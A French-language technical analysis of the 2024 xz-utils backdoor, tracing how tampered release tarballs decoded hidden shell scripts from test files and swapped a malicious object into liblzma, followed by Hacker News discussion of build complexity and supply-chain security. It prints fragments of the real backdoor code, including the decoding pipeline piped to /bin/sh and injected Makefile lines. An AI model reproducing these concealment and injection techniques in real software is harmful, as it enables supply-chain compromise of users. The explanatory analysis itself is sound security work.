- L’attaque contre xz se décompose en une injection de code shell à l’étape
configure et une injection de fichier objet à l’étape make ; cette analyse retrace la manière dont les scripts des tarballs de distribution xz 5.6.0 et 5.6.1 introduisent un fichier objet de backdoor dans la compilation
- Le code malveillant et le fichier objet étaient dissimulés, compressés et chiffrés comme des fichiers d’entrée de test binaires dans
tests/files, et la description existante du README — des « fichiers de test fabriqués à la main » — facilitait le camouflage
- Le code ajouté à
m4/build-to-host.m4 cherche bad-3-corrupt_lzma2.xz, le restaure avec tr et xz -d, puis l’exécute avec /bin/sh ; la version 5.6.1 contient aussi un mécanisme d’extension qui recherche des scripts supplémentaires dans de nouveaux fichiers de test
- Le script
configure modifie src/liblzma/Makefile et libtool pour réexécuter le script caché pendant make, et ajuste -z,now ainsi que des flags liés à PIC afin que l’ifunc resolver s’exécute au moment de l’édition de liens dynamique initiale
- À l’étape
make, il extrait et déchiffre l’objet malveillant depuis good-large_compressed.lzma, puis remplace les artefacts de compilation de crc64_fast.c et crc32_fast.c, afin d’intercepter les appels à RSA_public_decrypt via _get_cpuid
Structure globale de l’attaque
- Andres Freund a signalé l’existence de l’attaque contre xz le 29 mars 2024 sur la liste de diffusion publique
oss-security@openwall
- Il l’avait également signalée la veille à Debian security et à la liste privée
distros@openwall
- Le déclencheur a été l’observation, sur une installation Debian sid, d’anomalies liées à
liblzma : forte utilisation CPU lors des connexions SSH et erreurs Valgrind
- L’attaque comporte deux grandes étapes
- Du code shell est injecté pendant
configure
- Ce code shell réinjecte du code shell dans
make, puis ajoute un fichier objet malveillant à la compilation pendant make
- Placer directement un fichier objet malveillant nommé
evil.o dans le dépôt aurait facilement éveillé les soupçons ; l’attaquant a donc dissimulé le code shell et le fichier objet, compressés et chiffrés, dans des fichiers d’entrée de test binaires
- Le répertoire
tests/files existait avant l’arrivée de Jia Tan, et son README explique qu’il contient des fichiers destinés à tester les implémentations de décodeurs .xz, .lzma et .lz, dont certains ont été créés directement avec un éditeur hexadécimal, « sans meilleur code source que le fichier lui-même »
- L’attaquant s’est servi de ce contexte pour donner l’impression d’ajouter simplement quelques nouveaux fichiers de test
Point d’exécution visé par la backdoor
- L’effet final du script est de faire appeler la fonction
_get_cpuid du fichier objet malveillant comme partie d’un GNU indirect function resolver (ifunc)
- Un ifunc resolver peut généralement être appelé de façon différée pendant l’exécution d’un programme, mais, pour des raisons de sécurité, il est courant de tout appeler au début de l’édition de liens dynamique, puis de mapper la GOT et la PLT en lecture seule
- L’ifunc resolver malveillant peut s’exécuter très tôt, lorsque la GOT et la PLT sont encore modifiables
- La backdoor recherche
RSA_public_decrypt dans la table et la remplace par la version de l’attaquant
- La fonction remplacée exécute le code de l’attaquant lorsqu’un certificat SSH valide est présenté
Étape configure : camouflage dans build-to-host.m4
- xz-utils utilise GNU autoconf ; en général,
configure et les fichiers m4 de support sont inclus dans les tarballs de distribution, et non dans le dépôt source
- L’attaque commence par l’ajout inattendu d’une bibliothèque de support
m4/build-to-host.m4 dans les tarballs xz 5.6.0 et xz 5.6.1
- Le fichier
build-to-host.m4 malveillant contient des modifications plausibles par rapport au fichier standard
- Le numéro de série passe de
3 à 30
- L’année de copyright passe de
2023 à 2023-2024
- Plusieurs changements shell et m4 difficiles à lire sont ajoutés
- Le cœur réel est le code qui cherche un motif précis dans la distribution avec
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
- Le fichier correspondant à ce motif est
./tests/files/bad-3-corrupt_lzma2.xz
- En conséquence,
gl_am_configmake pointe vers ce fichier de test
gl_path_map est défini sur tr "\t \-_" " \t_\-", ce qui permute tabulations et espaces, ainsi que underscores et tirets
Restauration du premier script caché
gl_[$1]_prefix extrait l’élément situé après le dernier point du nom de fichier, ce qui donne xz
- Le nom ressemble à un préfixe, mais il s’agit en réalité de l’extension du fichier
- Il devient le nom d’une commande de compression qui a de bonnes chances d’être déjà installée sur la machine de build
- La chaîne de commande ensuite produite semble utiliser
sed "r\n", mais elle est en réalité proche d’un cat obfusqué
- Dans
sed, r\n est une commande qui tente de lire un fichier inexistant \n, et ne fait donc rien
- Comme il n’y a pas
-n, l’entrée est imprimée telle quelle
- La commande réellement exécutée prend la forme suivante
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- Cette commande est évaluée pendant l’exécution de
config.status via AC_CONFIG_COMMANDS
- La sortie restaurée contient
####Hello#### et ####World#### ; d’après le README, les premier et troisième flux de bad-3-corrupt_lzma2.xz sont des flux xz valides, seul le flux central ayant des données LZMA2 corrompues
Différences entre 5.6.0 et 5.6.1
- Dans xz 5.6.0, le premier script restauré découpe une plage d’octets précise dans
good-large_compressed.lzma, la transforme, puis la décompresse comme flux LZMA brut avant de la transmettre à /bin/sh
- Le premier script de xz 5.6.1 contient cinq fois une ligne destinée à quitter si le système n’est pas Linux
[ ! $(uname) = "Linux" ] && exit 0
- Le long script analysé ensuite contient lui aussi une ligne de vérification Linux propre à la 5.6.1
- Cette ligne comporte un bug : l’absence d’espaces autour de
= l’empêche de fonctionner
- En 5.6.1, le nombre final d’octets lu par
head, l’offset de tail et les arguments de tr diffèrent de ceux de la 5.6.0
- Dans l’exemple, la 5.6.1 extrait
16×2048+939 = 33 707 octets
- Ensuite,
tail -c +31233 utilise les 31 233 derniers octets
- Le pipeline d’extraction se compose des étapes suivantes
- Décompression de
good-large_compressed.lzma avec xz -dc
- Extraction d’une plage d’octets précise via un pipeline
head
- Sélection de la partie finale avec
tail
- Application d’un chiffrement par simple substitution avec
tr
- Décompression d’un flux LZMA brut avec
xz -F raw --lzma1 -dc
- Exécution du résultat avec
/bin/sh
Mécanisme d’extension de la 5.6.1
- Le long script contient plusieurs points qui exécutent avec
eval des variables non définies
- Par exemple :
eval $zrKcVq, eval $zrKcSS
- Il peut s’agir de sorties de debug ou de points d’extension dont les valeurs pourraient être définies plus tard par un autre mécanisme
- Si
config.status existe, le script lit LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map, etc.
- Le code d’extension ajouté en 5.6.1 recherche deux chaînes magiques dans
tests/files
- Chaîne de début :
~!:_ W
- Chaîne de fin :
|_!{ -
- Si les deux chaînes se trouvent dans le même fichier, les octets entre elles sont extraits, passent par
tr et une décompression LZMA2 brute, puis la sortie est exécutée avec eval
- Ce mécanisme semble conçu pour permettre d’insérer ultérieurement un nouveau script dans un autre fichier de test, sans devoir justifier la régénération des fichiers de test binaires existants
Conditions d’exécution à l’étape configure
- Le script quitte silencieusement si les conditions nécessaires à la backdoor ne sont pas réunies
- La prise en charge de GNU ifunc doit être activée
config.status doit contenir ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
config.h doit contenir define HAVE_FUNC_ATTRIBUTE_IFUNC 1
- La compilation en bibliothèque partagée doit être activée
enable_shared doit valoir yes
- La cible de build doit être Linux x86-64
build doit satisfaire les conditions ^x86_64 et linux-gnu$
- Les sources liées au CRC ifunc doivent être intactes
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- Les conditions sur le compilateur et l’éditeur de liens sont également vérifiées
GCC=yes
CC=gcc
- La sortie de
LD -v contient GNU ld
- Les fichiers de test contenant la backdoor,
good-large_compressed.lzma et bad-3-corrupt_lzma2.xz, doivent être présents
Modification de Makefile et libtool
- Si
debian/rules existe ou si RPM_ARCH=x86_64, le code qui modifie src/liblzma/Makefile est exécuté pendant l’étape configure
- Il vérifie d’abord que plusieurs lignes à utiliser plus tard comme points d’insertion existent dans le Makefile
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- Dans
libtool, il vérifie la présence de pic_flag=" -fPIC -DPIC"
- Ensuite,
sed -i insère à divers endroits du Makefile des lignes de la nature suivante
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
- Malgré son nom,
am__test_dir semble désigner un répertoire, mais pointe en réalité vers un fichier
- Les lignes ajoutées ne sont pas regroupées au même endroit : elles sont dispersées dans le Makefile, afin que le Makefile généré paraisse plausiblement complexe
Flags de l’éditeur de liens et exécution récursive
- Le script de l’étape configure ajoute
-Wl,--sort-section=name,-X à liblzma_la_LDFLAGS
- Si les
LDFLAGS existants ne contiennent pas -z,now ou -z -Wl,now, il ajoute également -z,now
-Wl,now force le chargeur dynamique à résoudre tous les symboles au démarrage du programme, reproduisant le comportement de LD_BIND_NOW
- Au cours de ce processus, l’ifunc resolver est exécuté au démarrage
- La backdoor peut s’exécuter pendant que la GOT et la PLT sont encore modifiables
- Les flags PIC de
libtool sont modifiés comme suit
- Ancien :
-fPIC -DPIC
- Nouveau :
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- Le script ajoute aussi
AM_V_CCLD et un long fragment shell au Makefile
- À la fin, il exécute
sed rpath $(am__test_dir) | $(am__dist_setup)
sed rpath joue là encore le rôle d’un cat obfusqué
- En conséquence, pendant
make, le pipeline suivant est de nouveau exécuté
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
Étape make : extraction du fichier objet
- Pendant
make, le script est réexécuté depuis le répertoire src/liblzma
- Comme
config.status n’est pas dans le répertoire courant, la partie qui modifie le Makefile à l’étape configure est ignorée
- À la place, si
.libs/liblzma_la-crc64_fast.o et .libs/liblzma_la-crc32_fast.o existent, le script considère qu’il est en cours de make et exécute le code suivant
- La 5.6.1 ajoute aussi un hook d’extension pour l’étape make
- Chaîne de début :
jV!.^%
- Chaîne de fin :
%.R.1Z
- Aucun fichier de test ne contient ces chaînes ; cela semble être une structure destinée à de futures extensions
- Il vérifie de nouveau que les sources liées au CRC ifunc correspondent à ce qui est attendu
- Il vérifie aussi que les flags de compilation et d’édition de liens ajoutés à l’étape configure ont bien été appliqués
../../libtool doit contenir les flags PIC supplémentaires
liblzma_la_LINK doit contenir -z,now ou -z -Wl,now
- Si
lazy est présent, il quitte
Déchiffrement et sélection de l’objet malveillant
- Le script choisit l’une de deux valeurs d’offset selon le contenu de
gettext.m4
- Le
gettext.m4 du tarball xz distribué ne contient pas la chaîne testée ; dans l’exemple de build, toute l’entrée est donc prise
- Il décompresse de nouveau
good-large_compressed.lzma, puis extrait 33 707 octets avec le pipeline head défini précédemment, i
- Il découpe cette sortie octet par octet, puis exécute avec
awk une fonction de déchiffrement similaire à RC4
- Dans la version 5.6.1, la seconde boucle itère jusqu’à 8192
- Dans la version 5.6.0, la boucle située au même endroit itère jusqu’à 4096
- La sortie déchiffrée est ensuite de nouveau décompressée avec
xz -dc --single-stream
--single-stream s’arrête au premier marqueur EOF xz, afin de ne pas lire la zone précédemment extraite avec tail
- Le résultat final est écrit dans
liblzma_la-crc64-fast.o
Remplacement des objets CRC
- Le script sauvegarde l’artefact réellement compilé
.libs/liblzma_la-crc64_fast.o sous un nom similaire, .libs/liblzma_la-crc64-fast.o
- Il exploite la différence entre underscore (
crc64_fast) et tiret (crc64-fast)
- Il compile ensuite le contenu de
crc64_fast.c modifié avec sed, en ajoutant en entrée l’objet malveillant extrait liblzma_la-crc64-fast.o, afin d’écraser .libs/liblzma_la-crc64_fast.o
- Le code C inséré crée une nouvelle fonction
_is_arch_extension_supported, qui appelle _get_cpuid en interne
- L’ancien
crc64_resolve est modifié pour appeler _is_arch_extension_supported() au lieu de is_arch_extension_supported()
_get_cpuid est une fonction fournie par l’objet de backdoor, qui effectue des actions supplémentaires avant de renvoyer les informations CPUID
- Elle modifie notamment la GOT et la PLT pour intercepter les appels à
RSA_public_decrypt
Traitement côté crc32 et nettoyage
- Si la modification de crc64 réussit, le script applique une modification similaire à
crc32_fast.c
- Côté crc32, il n’ajoute pas le fichier objet de backdoor
- Cela évite d’inclure deux fois l’objet de backdoor dans la compilation
- La raison pour laquelle les ifunc crc32 et crc64 sont tous deux interceptés n’est pas claire
- L’analyse estime qu’un seul des deux aurait probablement suffi
- Il est possible que l’objectif ait été de faire en sorte que les deux codes de dispatch se ressemblent dans un debugger
- Si les deux compilations réussissent,
.la est de nouveau lié via liblzma_la_LINK
- Si l’édition de liens réussit mais que
.libs/liblzma.so n’existe pas, l’opération est considérée comme un échec et la sauvegarde est restaurée
- Quel que soit le résultat,
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai et .libs/liblzma.so* sont supprimés
- Le script suppose que l’étape de lien originale du Makefile les régénérera ensuite
- En cas d’échec, les objets crc32 et crc64 sauvegardés sont restaurés sous leurs noms d’origine
- Enfin, les fichiers temporaires et de sauvegarde sont supprimés, de sorte que l’objet malveillant soit injecté dans les artefacts de
make sans laisser de traces
1 commentaires
Avis sur Hacker News
En tant que personne qui déteste autotools depuis longtemps, j’aimerais dire que cette affaire me donne raison, mais tout système de build suffisamment complexe pour prendre en charge plusieurs plateformes finit forcément par devenir assez impénétrable pour que quelqu’un puisse y glisser ce genre de chose.
Cela dit, c’est vraiment un problème que tant de logiciels soient en pratique construits par de gigantesques scripts shell cargo-cult, que presque personne ne comprend dans leur ensemble.
Si les scripts de build avaient été écrits en Python, il aurait été beaucoup plus difficile d’obfusquer la backdoor. Tout le monde aurait vu que le code était bizarre. Le code bash a tendance à être considéré comme normal même quand il est illisible.
./configure && make && make installme manque.L’absence totale de bonnes pratiques pour ce flux est à la racine de cette complexité ; dans ces conditions, un simple fichier de configuration de build comme
mybuild.tomlne peut pas résoudre le problème.Et je me demande aussi pourquoi il faut un système complexe pour construire quelque chose comme une bibliothèque de compression, qui fondamentalement ne devrait faire que des maths et de l’allocation mémoire.
En tant que développeur, c’est stupéfiant, et cela montre que ce qui me semble être une technique d’attaque de tout premier ordre n’est peut-être qu’un niveau débutant/intermédiaire pour les gens qui travaillent à ce niveau.
Il y a sur HN des choses d’un niveau bien supérieur à celle-ci, donc avec assez d’argent ou d’autres incitations, ce n’est probablement que le début de ce qui est possible. Quand on pense aux innombrables packages sur GitHub et aux millions de bibliothèques, ce vecteur est tellement efficace que je suis convaincu que des centaines de cas similaires seront révélés dans les prochains mois.
Je m’inquiète pour les fabricants de matériel grand public et prosumer, de Philips Hue à Alexa, SumUp, les fabricants de caméras, Netgear et TP-Link. Leurs produits sont remplis de bibliothèques open source, et je suis certain à 100 % que la plupart des équipes de développement ne passent pas leur temps à chercher ce genre de vecteur d’injection furtif.
Une organisation commerciale qui met en avant la fiabilité réalise une analyse de la chaîne d’approvisionnement avant d’adopter des dépendances. C’est généralement pour cela qu’on paie Red Hat pour maintenir une distribution Linux stable, et que des projets comme FreeBSD limitent fortement les logiciels inclus dans l’installation de base.
Si vous avez été touché par cette affaire, c’est regrettable, mais c’est votre responsabilité. Si vous craignez qu’un développeur de logiciel que vous utilisez gratuitement, comme une bière offerte, change soudain d’attitude, donnez-lui une incitation à ne pas le faire — autrement dit, payez-le — ou bien forkez le projet et ajoutez-y vos propres mesures de sécurité.
Si vous vous inquiétez d’une attaque de chaîne d’approvisionnement dans les dépendances d’un logiciel commercial, vous devriez négocier un contrat qui couvre l’indemnisation de ce préjudice. Si vous n’êtes pas prêt à le faire, ce n’est pas professionnel.
Et j’ajoute que je dis très sérieusement qu’il faut vérifier la chaîne d’approvisionnement même pour des dépendances aussi fondamentales que SSH.
Les premiers billets d’infosec ne pouvaient expliquer qu’une partie du code et ne couvraient pas la stratégie globale de l’attaque. C’est parce que l’attaque et le code étaient sophistiqués. Si les premières analyses décrivaient l’attaque différemment, c’est aussi parce qu’elle n’était pas simple à comprendre ; ce n’est que plus tard qu’on a vu des articles du genre « cela ressemble enfin à une attaque d’exécution de code à distance ».
Maintenant qu’il existe même des scanners pour détecter la vulnérabilité sur les serveurs, tout le monde peut dire : « ah, c’était une attaque tellement simple et stupide, pourquoi ne l’a-t-on pas trouvée plus tôt ? »
Cela vaut pour tous les appareils. Je n’aime pas non plus qu’Android doive utiliser d’anciens kernels, ni que macOS ait fait tourner une vieille lignée Darwin/BSD. L’effort nécessaire au backporting m’inquiète.
Bien sûr, cela ne veut pas dire qu’il n’y a pas de vulnérabilités dans l’open source.
Il faudrait peut-être plutôt craindre les backdoors invisibles dans les logiciels propriétaires, qui ne seront presque jamais découvertes.
Il me semble que l’infographie de Thomas Roccia n’a pas encore été mentionnée ici : https://twitter.com/fr0gger_/status/1774342248437813525
Par exemple, oss-fuzz clonait directement le dépôt GitHub pour construire xz. La backdoor n’était pas dans le dépôt, seulement dans le tarball, donc oss-fuzz n’avait aucune chance de la découvrir. Par conséquent, cette PR oss-fuzz pouvait être un vrai changement sans rapport avec la backdoor.
Quelle est la probabilité qu’un autre compte ou une autre personne, dans l’entourage d’Andreas Freund, ait appris plus tôt que la backdoor allait être rendue publique ? Cela fait aussi penser qu’il pourrait encore y avoir d’autres initiés dans les parages.
.gitignore. De nos jours, ce genre de chose est difficile à détecter.Du point de vue d’un observateur naïf, la partie la plus frappante est celle-ci
« De nombreux fichiers ayant été créés manuellement avec un éditeur hexadécimal, il n’existe pas de “code source” meilleur que les fichiers eux-mêmes. » Je comprends que ce soit possible dans une bibliothèque de parsing comme liblzma. L’attaquant devait avoir l’air de simplement ajouter quelques nouveaux fichiers de test
Les fichiers eux-mêmes font peur, mais je comprends pourquoi. Malgré tout, ne pourrait-on pas au moins les séparer du build ?
« D’ordinaire, les scripts configure et les bibliothèques de support ne sont ajoutés qu’aux distributions tarball, pas au dépôt source. La distribution de xz fonctionne ainsi. »
En mettant de côté l’indignation rituelle contre autotools, je ne vois pas pourquoi des fichiers de test devraient se trouver dans le tarball. Des tests malveillants pourraient certes infecter la machine d’un développeur, mais si le tarball sert à construire l’artefact final, la règle ne devrait-elle pas être de n’inclure que le nécessaire ? À plus forte raison lorsque les fichiers de test sont des blobs binaires impossibles à auditer
Cela dit, la dernière fois que nous avons fait cela, nous privilégiions le Git amont et générions nous-mêmes les artefacts autoconf nécessaires. Le concept de tarball de release contenant des éléments absents de Git ne m’a jamais plu
Il faut pouvoir compiler le code sur la machine cible, puis exécuter les tests
« La première différence est que le script fait en sorte de se terminer obligatoirement, et de façon très certaine, s’il n’est pas exécuté sous Linux. »
Les vérifications répétées sont clairement un mystère. Mon hypothèse est que l’attaquant a pu ajouter ces répétitions pour que cela ressemble à une entrée de test plausible pour une bibliothèque de compression
Ou alors c’était juste de la paresse
Ça semble intentionnel, mais je ne sais pas pourquoi c’est là. Je me suis demandé si c’était ajouté pour remplir la taille, xz pouvant sauter la compression si l’entrée est trop courte ou pas assez complexe, mais même après les avoir retirés et recompressés avec xz, la compression fonctionnait correctement et le texte en clair d’origine ne restait pas dans les octets de l’archive compressée
Ce que j’ai découvert en essayant de reproduire les octets exacts du fichier
.xzcommité dans Git, c’est que le flux xz de ce script ne semble pas avoir été compressé avec le préréglage xz par défaut. Il fallait utiliserxz --lzma2=dict=65536 -c stream_2pour le reproduire, et tous les préréglages numériques par défaut choisissaient une taille de dictionnaire différente. Cela aussi paraît intentionnel, mais je n’en comprends pas la raisonSans les répétitions, le fichier compressé aurait peut-être contenu un binaire étrange susceptible de déclencher des outils de sécurité ou des antivirus
Il est tragiquement drôle de voir à quel point la technologie moderne est devenue monstrueusement complexe et inutilement impénétrable, et cela ne fait qu’empirer. On dirait que les développeurs prennent un plaisir sadique à cela
Il est assez impressionnant que les outils suivent l’augmentation de la complexité des produits que nous construisons. Honnêtement, dans la plupart des cas, les choses deviennent simplement plus simples, et c’est plutôt que les gens n’aiment pas apprendre de nouvelles choses
Quelqu’un qui a recruté ces personnes pour infiltrer ce projet a dû consacrer énormément de temps à faire en sorte que cela échappe longtemps à la détection. Heureusement, c’était trop complexe pour que tous les éléments soient pris en compte
C’est pour ça que, sur le plan de la sécurité, je pense que l’open source sera toujours préférable au code fermé. Bien sûr, cet incident a révélé une énorme faille de la chaîne d’approvisionnement, et montré à quel point les composants de base du FOSS sont sous-estimés, au point de rendre les mainteneurs vulnérables à la manipulation
Mais si la même attaque s’était produite au sein d’une entreprise privée ? Il n’aurait probablement même pas fallu d’obfuscation avancée. Avec une PR suffisamment grosse et une échéance qui approche, on peut faire passer ce genre de chose en douce dans des systèmes de production avec un minimum d’effort. Le temps que l’entreprise comprenne ce qui s’est passé, on serait déjà parti dans un pays sans traité d’extradition, en train de vendre les données exfiltrées sur Tor ou le dark web
Quand une entreprise privée vous embauche, elle sait qui vous êtes. C’est en soi un frein immédiat aux comportements suspects. Sur GitHub, personne ne sait qui vous êtes. Il est peut-être plus difficile de mettre une backdoor dans un projet sans se faire prendre, mais si vous vous faites prendre, vous ne risquez rien. Vous pouvez réessayer autant de fois que vous voulez. Jia Tan n’a toujours pas été arrêté, et il n’a même pas eu besoin de construire toute sa vie autour de l’idée d’habiter dans un pays sans traité d’extradition. Sauf s’il y était déjà
Et même une fois à l’intérieur, on ne peut pas commiter librement dans le projet cible. Votre manager et le manager de votre manager ont d’autres priorités. La gestion souvent dysfonctionnelle des entreprises commerciales agit ici plutôt comme un frein. Il faut justifier le code lui-même, mais aussi expliquer pourquoi on travaillait là-dessus au départ
Même des pays aux relations tendues peuvent extrader quelqu’un dans le cadre d’un accord si c’est politiquement pratique. La Russie n’aurait probablement pas gardé Snowden si celui-ci n’avait pas révélé des secrets d’État. S’il s’était agi d’une fuite de données ordinaire, ils l’auraient peut-être échangé contre un oligarque arrêté ailleurs pour blanchiment d’argent
Rien que dresser la liste serait déjà utile
La leçon à tirer de cet incident est peut-être qu’il ne faudrait pas autoriser l’anonymat pour les contributeurs clés de projets open source importants. Cette attaque a réussi et l’attaquant s’en sortira probablement sans aucune conséquence, parce qu’il était anonyme
Une telle mesure n’aiderait pas, et un acteur étatique ou une menace persistante avancée similaire pourrait facilement la contourner en ajoutant simplement une usurpation d’identité à la phase d’attaque, ou en utilisant un agent qu’il peut protéger même si la backdoor est découverte
En revanche, les barrières techniques nécessaires à une telle procédure risqueraient de causer de gros dégâts à l’ensemble de la communauté open source
La solution ici consiste à tirer les leçons de cette attaque et à adopter des pratiques qui rendent les attaques similaires plus difficiles. Les fichiers absents du dépôt ne devraient jamais être inclus dans les tarballs de release. Tout le code généré qui en résulte doit être commité, et les scripts de build doivent régénérer le code dérivé puis échouer si celui-ci diffère du code commité. Les données difficiles à comprendre ne devraient pas être accessibles pendant le processus de build de release, et les tests qui dépendent de données binaires doivent être buildés complètement séparément des binaires de release
Premièrement, beaucoup de contributeurs importants, en particulier dans le domaine de la sécurité, préfèrent contribuer sous pseudonyme pour des raisons valables. Les forcer à révéler leur identité les ferait partir
Deuxièmement, si, comme beaucoup le supposent, une agence de renseignement est derrière tout cela, elle peut de toute façon fabriquer une « vraie » identité. Au final, on exclurait des gens utiles sans exclure les attaquants
Si un gouvernement est impliqué, il n’y a pas de limite. Le seul moyen serait d’exiger une présence physique dans un lieu de confiance, en espérant simplement que ce lieu ne relève pas de la juridiction de l’attaquant
Si quelqu’un crée une bibliothèque et que d’autres commencent à l’utiliser, sera-t-il forcé de révéler son identité ? Le mainteneur sera-t-il payé ?
Si vous avez déjà travaillé dans le développement, fermé ou ouvert, vous savez que les développeurs approuvent souvent les PR à moitié par paresse. Linus Torvalds est plutôt une rare exception, quelqu’un qui passe sa journée à signaler les problèmes
Quand quelqu’un est assez pointilleux pour vraiment faire attention, il est facilement perçu comme un casse-pieds qui bloque le développement. Le fait de chercher la petite bête crée des tensions avec l’équipe
Pour être transparent, je vis actuellement une situation similaire. Ce n’est pas moi qui suis pointilleux, mais l’un des développeurs que j’ai embauchés. Malheureusement, son comportement méticuleux n’a pas été bien accueilli, et j’ai dû le retirer de l’équipe. Le fait qu’il vienne d’Europe de l’Est et donne donc des retours très directs n’a pas aidé
Les utilitaires Unix ont été éprouvés pendant longtemps. J’aimerais qu’on fige le noyau et les utilitaires de base, et qu’on n’y touche plus. Sauf si c’est vraiment nécessaire
Si ce n’est pas cassé, ne le réparez pas. L’empire logiciel semble hors de contrôle
Il y a parfois des exemples brillants de choses bien conçues, mais dans l’ensemble, il faut bien reconnaître qu’elles ont été complètement marginalisées